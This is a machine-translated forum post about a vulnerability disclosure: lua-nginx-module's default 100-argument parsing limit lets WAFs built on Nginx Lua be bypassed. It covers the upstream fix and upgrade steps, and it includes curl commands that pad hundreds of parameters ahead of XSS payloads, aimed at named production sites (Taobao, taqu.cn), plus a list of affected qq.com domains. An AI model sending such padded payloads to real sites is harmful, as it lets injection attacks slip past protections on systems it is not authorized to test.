This article is a mirror article of machine translation, please click here to jump to the original article.

View: 16994|Reply: 1

[Security Vulnerability] Nginx Lua's WAF Application Firewall Vulnerability

[Copy link]
Posted on 4/27/2018 9:23:29 AM | | | |
When ginx Lua obtains parameters, the first 100 parameter values are obtained by default, and the rest are discarded.
Therefore, WAFs using Nginx Lua will be bypassed by default.
On April 20, 18, someone on the security passenger had already disclosed this detail, so I also published this article 233.



Principle

The official description is as follows

Note that a maximum of 100 request arguments are parsed by default (including those with the same name) and that additional request arguments are silently discarded to guard against potential denial of service attacks.

Up to 100 request parameters (including those with the same name) can be parsed by default, and additional request parameters are automatically dropped to prevent potential denial-of-service attacks.

Search 100, roughly the following method has the same problem.
ngx.req.get_uri_args Get the request parameters for get
ngx.req.get_post_args Get the request parameters for the post
ngx.req.get_headers Get the request header
ngx.decode_args Decode the URL of the parameters
ngx.resp.get_headers Get the response header
In the lua-nginx-module source code, we can see that the source code sets the default maximum request parameter and header to 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

However, the official provides a method to modify the default value, such as ngx.req.get_uri_args (200) to get the first 200 request parameters.

Test

If the request parameter is 101, the last request parameter cannot be obtained.

curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

If you reduce one request parameter, you can get the last request parameter when the request parameters are exactly 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
a: zbg
I got u, zbg

Note that the default is indeed 100 request parameters, and the request parameters after 100 request parameters will be discarded.

There is a strange thing that in the return content above, in the middle of the rough position, the final zbg parameter is already output. My guess is that the output is not in order, but the order in which the parsing is does follow the order in which the parameters are submitted, because when the 101st parameter value is zbg, the value cannot be obtained.

Attached is the python script that generates the parameters:

# author: zbg
# mail:zbg@zbg.org
# date: 2018-04-03

a = ''
for i in range(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
print a
repair
Of course, it is not recommended to modify the MAX value of the parameter in the source code. Because no matter how large the value you set, it can be bypassed. It is recommended to set it through the parameters of the method.
If you can get the length of the request parameter and use a method like ngx.req.get_uri_args (lenth), wouldn't it be enough?
Reading the documentation, I found that the number of requested parameters could not be obtained. However, if you set the lenth to 0, you can get all the requested parameters.

This argument can be set to zero to remove the limit and to process all request arguments received.
local args = ngx.req.get_uri_args(0)

However, it is strongly discouraged to set it to 0 to prevent potential denial-of-service attacks.

Removing the max_args cap is strongly discouraged.

Actually, I was wondering why setting 0 would lead to a potential denial of service attack, and the request would go to nginx anyway, no matter how many parameters there were in get or post.

I raised an issue to the official, and the author said that ngx.req.get_uri_args (0) will increase the CPU and memory usage of the server. Later, I tested 200 parameters, and used Nginx+php to obtain the 200th parameter, which means that Nginx does not limit the number of requested parameters by default. Then the problem may lie in Nginx Lua itself,When Nginx Lua uses ngx.req.get_uri_args(0) to get all the parameters and iterates through them, once there are a lot of parameters requested, it consumes more CPU and memory, and eventually even leads to a denial of service

On 04/03/2018, Bypass007 officially raised an ISSUE about this bug fix, and finally officially added a new feature based on this ISSUE on 2018-04-21. The commit record address of this function: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

The function description is as follows: In versions after v0.10.13 (including v0.10.13), when the limit number of requests is breached, the second return value is the truncated string.
Since v0.10.13, when the limit is exceeded, it will return a second value which is the string "truncated".
However, the optional max_args function argument can be used to override this limit:
local args, err = ngx.req.get_uri_args(10)
if err == "truncated" then
     -- one can choose to ignore or reject the current request here
end

So, the final fix came out.

Upgrade lua-nginx-module to v0.10.13 or later

Then limit the total number of parameters, as for how much the total number is limited, I personally think 100 is enough

OpenResty upgrades the lua-nginx-module module

I didn't find any information about the OpenResty upgrade module, so I figured out how to upgrade the lua-nginx-module module by myself.

The steps are as follows:

Download the corresponding version of the lua-nginx-module module
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
unpack
tar -zxvf v0.10.13
Delete the previous lua-nginx-module version
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Copy the new lua-nginx-module
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
For compilation, refer to the compilation parameters of VeryNginx


Case bypass

It should be clarified that the following WAFs I am not sure whether to use Nginx Lua, but they can be bypassed by the total number of parameters.

Ali WAF

This WAF is a WAF used internally by Alibaba, that is, the WAF used by domain names such as *.taobao.com, and has not been tested for the cloud WAF sold by Alibaba Cloud.
First, request a POST XSS Payload to intercept it.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Through Fuzz, it was found that when the number of parameters is increased to 478, with XSS Payload, it is no longer intercepted, and the website can be accessed normally.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

The WAF tested is a WAF sold by UCloud.
When the request parameter is increased to 138, it will no longer be blocked and the website will be accessed normally.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

This WAF is a WAF used by Tencent internally, that is, the WAF used by domain names such as *.qq.com, and has not been tested for the cloud WAF sold by Tencent Cloud.
When the request parameter increases to 4000, it will no longer be blocked and the website will be accessed normally. Random tests of the following domains are affected.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

summary

This question is very simple, and you can find it by reading the document carefully. But why didn't I find out? I think it's still too little thinking.
Reference
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Previous:Learn Photoshop from scratch, 18 lessons from novice to god
Next:Strengths and weaknesses of Lua and Luajit
Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com